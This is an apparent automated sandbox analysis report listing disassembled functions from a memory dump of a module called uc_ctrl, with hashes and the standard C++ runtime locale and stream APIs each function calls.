Opcode Fuzzy Hash: 4cdaca446041d73c3ff5bdd905bdf37855c0ca5c5519b935385cd52bd9ce74f3
Instruction Fuzzy Hash: C7218C34901258EFCB05DFA8C850BEDBFB4AF29308F145089E145AB782CB759A19DBA5

Function 6C9545C0 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C9545C7

Part of subcall function 6C937C64: __EH_prolog3.LIBCMT ref: 6C937C6B
Part of subcall function 6C937C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6C937BA3,?,?,?,?,?,?,0000000C,6C937B7C,?,6C934238,?,747991BB,?,6C95BDA0), ref: 6C937CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6C9545F7

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C9495EB: __EH_prolog3.LIBCMT ref: 6C9495F2
Part of subcall function 6C9495EB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E611,?,?,?,?,?,00000000), ref: 6C9495FD
Part of subcall function 6C9495EB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6C949615
Part of subcall function 6C9495EB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,00000000), ref: 6C949679

std::locale::~locale.LIBCPMT ref: 6C95460D
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WK@Z.MSVCP140(?,00000000,?,?,?,00000002,?,?), ref: 6C954639
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6C954686

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: fef83a6e3e588479bb4a35e4ac3beba27c5893b4072c5b3e3799f71d33a205e0
Instruction ID: 0af2a4af3ab120f1256422593ae7084945c71c0c72fc31d0529266732d945fb3
Opcode Fuzzy Hash: fef83a6e3e588479bb4a35e4ac3beba27c5893b4072c5b3e3799f71d33a205e0
Instruction Fuzzy Hash: 7B21BE71902114EFCB01CBA8C950BEDBBF5AF69708F64808DE144AB781CB75DA19CBA4

Function 6C958520 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C958527

Part of subcall function 6C94FEDA: __EH_prolog3.LIBCMT ref: 6C94FEE1
Part of subcall function 6C94FEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C957779,?,00000001,00000008), ref: 6C94FF16

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,0000002C), ref: 6C958557

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93AFBD: __EH_prolog3.LIBCMT ref: 6C93AFC4
Part of subcall function 6C93AFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C937FBA,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C93AFCF
Part of subcall function 6C93AFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93AFE7
Part of subcall function 6C93AFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93B04B

std::locale::~locale.LIBCPMT ref: 6C95856C
?get_time@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,00000000,0000002C), ref: 6C9585A4
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,0000002C), ref: 6C9585E7

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get_time@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 459751575-0
Opcode ID: 489cf9c5f07c42c9901c5c4acd4cde9281f46a28dac4c1da598cb917c509744a
Instruction ID: 8d201d8bf4708082ab832ef26c662a288c4077f5a5b3582bfe33729fcf80ecc3
Opcode Fuzzy Hash: 489cf9c5f07c42c9901c5c4acd4cde9281f46a28dac4c1da598cb917c509744a
Instruction Fuzzy Hash: AD218974901218AFCB04DFE8C890DEEBBB5AF28308F54905DE006A7742DB31DA59CBA5

Function 6C9586E0 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C9586E7

Part of subcall function 6C94FEDA: __EH_prolog3.LIBCMT ref: 6C94FEE1
Part of subcall function 6C94FEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C957779,?,00000001,00000008), ref: 6C94FF16

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,0000002C), ref: 6C958717

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93AFBD: __EH_prolog3.LIBCMT ref: 6C93AFC4
Part of subcall function 6C93AFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C937FBA,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C93AFCF
Part of subcall function 6C93AFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93AFE7
Part of subcall function 6C93AFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93B04B

std::locale::~locale.LIBCPMT ref: 6C95872C
?get_weekday@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,00000000,0000002C), ref: 6C958764
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,0000002C), ref: 6C9587A7

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get_weekday@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3174451881-0
Opcode ID: e012b2cbf14feb4cb0ef6589d1aff3005e4f0c9593d8201135c5f7830e1e0898
Instruction ID: cd4d5602d7f77f503d10abe869a70a03981c6633c796524024f3605bdc2ab4a9
Opcode Fuzzy Hash: e012b2cbf14feb4cb0ef6589d1aff3005e4f0c9593d8201135c5f7830e1e0898
Instruction Fuzzy Hash: 07214774901218AFCB05DFE4C890EEEBBB5AF28308F54905DE009A7742DB31DA59CBA5

Function 6C958600 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C958607

Part of subcall function 6C94FEDA: __EH_prolog3.LIBCMT ref: 6C94FEE1
Part of subcall function 6C94FEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C957779,?,00000001,00000008), ref: 6C94FF16

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,0000002C), ref: 6C958637

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93AFBD: __EH_prolog3.LIBCMT ref: 6C93AFC4
Part of subcall function 6C93AFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C937FBA,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C93AFCF
Part of subcall function 6C93AFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93AFE7
Part of subcall function 6C93AFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93B04B

std::locale::~locale.LIBCPMT ref: 6C95864C
?get_date@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,00000000,0000002C), ref: 6C958684
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,0000002C), ref: 6C9586C7

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get_date@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3659963615-0
Opcode ID: e767ddb6bc58fe512f81106f206aeb644a19d1b96fdcd4999e35892ff22c043d
Instruction ID: 3f1f37303d2e3ab9116b604f9b1883e13bf5ab0d3e8a9a89829d9bf81a1a30c5
Opcode Fuzzy Hash: e767ddb6bc58fe512f81106f206aeb644a19d1b96fdcd4999e35892ff22c043d
Instruction Fuzzy Hash: 93218974901218AFCB04DFE8C894DEEBBB9AF28308F54805DE005A7742DB31DA59CBA5

Function 6C9587C0 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C9587C7

Part of subcall function 6C94FEDA: __EH_prolog3.LIBCMT ref: 6C94FEE1
Part of subcall function 6C94FEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C957779,?,00000001,00000008), ref: 6C94FF16

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,0000002C), ref: 6C9587F7

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93AFBD: __EH_prolog3.LIBCMT ref: 6C93AFC4
Part of subcall function 6C93AFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C937FBA,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C93AFCF
Part of subcall function 6C93AFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93AFE7
Part of subcall function 6C93AFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93B04B

std::locale::~locale.LIBCPMT ref: 6C95880C
?get_monthname@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,00000000,0000002C), ref: 6C958844
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,0000002C), ref: 6C958887

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get_monthname@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 576637126-0
Opcode ID: d72ce7c3d6f0cc5b109102e3f15dcbcf0897e4716e9a45ef1e1da2c89868c705
Instruction ID: 59732298667598b66b7bbf5917c1c518abf611623d6f0b7df17f23300dee0491
Opcode Fuzzy Hash: d72ce7c3d6f0cc5b109102e3f15dcbcf0897e4716e9a45ef1e1da2c89868c705
Instruction Fuzzy Hash: 87215C74901218EFCB05DFE4C890DEDBBB5AF28308F54505DE005A7741D732DA59CBA5

Function 6C92ECB0 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6C92ECC9
___lc_collate_cp_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6C92ECD2
memcmp.VCRUNTIME140(?,?,?), ref: 6C92ECF2
__crtCompareStringA.MSVCP140(?,00001000,?,?,?,?,?), ref: 6C92ED1F

Part of subcall function 6C930B30: __strncnt.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?), ref: 6C930B5E
Part of subcall function 6C930B30: __strncnt.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?), ref: 6C930B74

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C92ED2B

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: __strncnt$CompareString___lc_collate_cp_func___lc_locale_name_func__crt_errnomemcmp
String ID:
API String ID: 3186426095-0
Opcode ID: ff6e1e8c5b9fbc4caadfa5983d301dad98207109db280ebf48dfde26c83af1c8
Instruction ID: f30299878b2e666e5882c916fa77290c35e9a383fa14b4b7a73bbfdc880ec849
Opcode Fuzzy Hash: ff6e1e8c5b9fbc4caadfa5983d301dad98207109db280ebf48dfde26c83af1c8
Instruction Fuzzy Hash: C411CE36210204AFDB009E7DCC8498B7BBCEF55369B194210FD68AB658E735E8148BE0

Function 6C953DE0 Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C953DE7

Part of subcall function 6C937C64: __EH_prolog3.LIBCMT ref: 6C937C6B
Part of subcall function 6C937C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6C937BA3,?,?,?,?,?,?,0000000C,6C937B7C,?,6C934238,?,747991BB,?,6C95BDA0), ref: 6C937CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6C953E17

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C9495EB: __EH_prolog3.LIBCMT ref: 6C9495F2
Part of subcall function 6C9495EB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E611,?,?,?,?,?,00000000), ref: 6C9495FD
Part of subcall function 6C9495EB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6C949615
Part of subcall function 6C9495EB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,00000000), ref: 6C949679

std::locale::~locale.LIBCPMT ref: 6C953E2D
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WPBX@Z.MSVCP140(00000000,00000000,?,?,?,00000002,?,?), ref: 6C953E57
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6C953EA4

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: 840a312a523828ed14db57871b14b2e7df81439f665dfe2cab48e75e17a66c65
Instruction ID: f16525bf433775080e6d5d6e01aa76132b2b3774244882e1c3c72ec617e299cf
Opcode Fuzzy Hash: 840a312a523828ed14db57871b14b2e7df81439f665dfe2cab48e75e17a66c65
Instruction Fuzzy Hash: 0A11A231A01104DFCB01DBA8C554BEDBBF5AF69308F64404DE144A7381C775DA09CB60

Function 6C950B00 Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C950B07

Part of subcall function 6C937C64: __EH_prolog3.LIBCMT ref: 6C937C6B
Part of subcall function 6C937C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6C937BA3,?,?,?,?,?,?,0000000C,6C937B7C,?,6C934238,?,747991BB,?,6C95BDA0), ref: 6C937CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6C950B37

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949C86: __EH_prolog3.LIBCMT ref: 6C949C8D
Part of subcall function 6C949C86: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EAF1,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C949C98
Part of subcall function 6C949C86: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949CB0
Part of subcall function 6C949C86: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C949D14

std::locale::~locale.LIBCPMT ref: 6C950B4D
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WPBX@Z.MSVCP140(00000000,00000000,?,?,?,00000002,?,?), ref: 6C950B77
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6C950BC4

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: 3312e19ba4da3a04234890102399d951c10cdfbe8b719ba6d103ec954b9b7c79
Instruction ID: 6a8d3643318191bd7eebbe4d4970380287b2863cdfa13b4086c2ee19a22212a7
Opcode Fuzzy Hash: 3312e19ba4da3a04234890102399d951c10cdfbe8b719ba6d103ec954b9b7c79
Instruction Fuzzy Hash: 3C11AF71D01244AFCB01DBA8C950BEDBBF5AF6930CF64809DE144AB781CB75DA09CBA0

Function 6C9514C0 Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C9514C7

Part of subcall function 6C937C64: __EH_prolog3.LIBCMT ref: 6C937C6B
Part of subcall function 6C937C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6C937BA3,?,?,?,?,?,?,0000000C,6C937B7C,?,6C934238,?,747991BB,?,6C95BDA0), ref: 6C937CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6C9514F7

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949C86: __EH_prolog3.LIBCMT ref: 6C949C8D
Part of subcall function 6C949C86: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EAF1,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C949C98
Part of subcall function 6C949C86: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949CB0
Part of subcall function 6C949C86: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C949D14

std::locale::~locale.LIBCPMT ref: 6C95150D
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_W_N@Z.MSVCP140(00000000,00000000,?,?,?,00000002,?,?), ref: 6C951537
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6C951584

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: 7fc595a5dbfffab2ac0d1fb36969ffb8f7b6be618205585599c8f8d36306cde7
Instruction ID: 27a303f03c6814820379dda3b96a6fda7e0973fb1b6e96bb96fa5f6116c7584c
Opcode Fuzzy Hash: 7fc595a5dbfffab2ac0d1fb36969ffb8f7b6be618205585599c8f8d36306cde7
Instruction Fuzzy Hash: 7311AC71D01104AFCB01DFA8C950BEDBBF5AF69308F64908DE145AB381CB75DA0ACBA0

Function 6C9544E0 Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C9544E7

Part of subcall function 6C937C64: __EH_prolog3.LIBCMT ref: 6C937C6B
Part of subcall function 6C937C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6C937BA3,?,?,?,?,?,?,0000000C,6C937B7C,?,6C934238,?,747991BB,?,6C95BDA0), ref: 6C937CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6C954517

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C9495EB: __EH_prolog3.LIBCMT ref: 6C9495F2
